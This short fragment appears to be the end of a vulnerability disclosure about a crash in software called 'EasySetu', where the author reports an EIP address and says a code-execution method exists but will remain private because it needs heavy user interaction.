EIP 03A6B9D6 EasySetu.03A6B9D6
Unfortunately the vulnerability seems to be unexploitable, anyway
I've found a way to execute arbitrary code but it's useless
because requires a high level of user interaction to work.
That's why it will remain private.
I hope that someone else will be able to exploit this vuln
using more convenient ways.
Peace
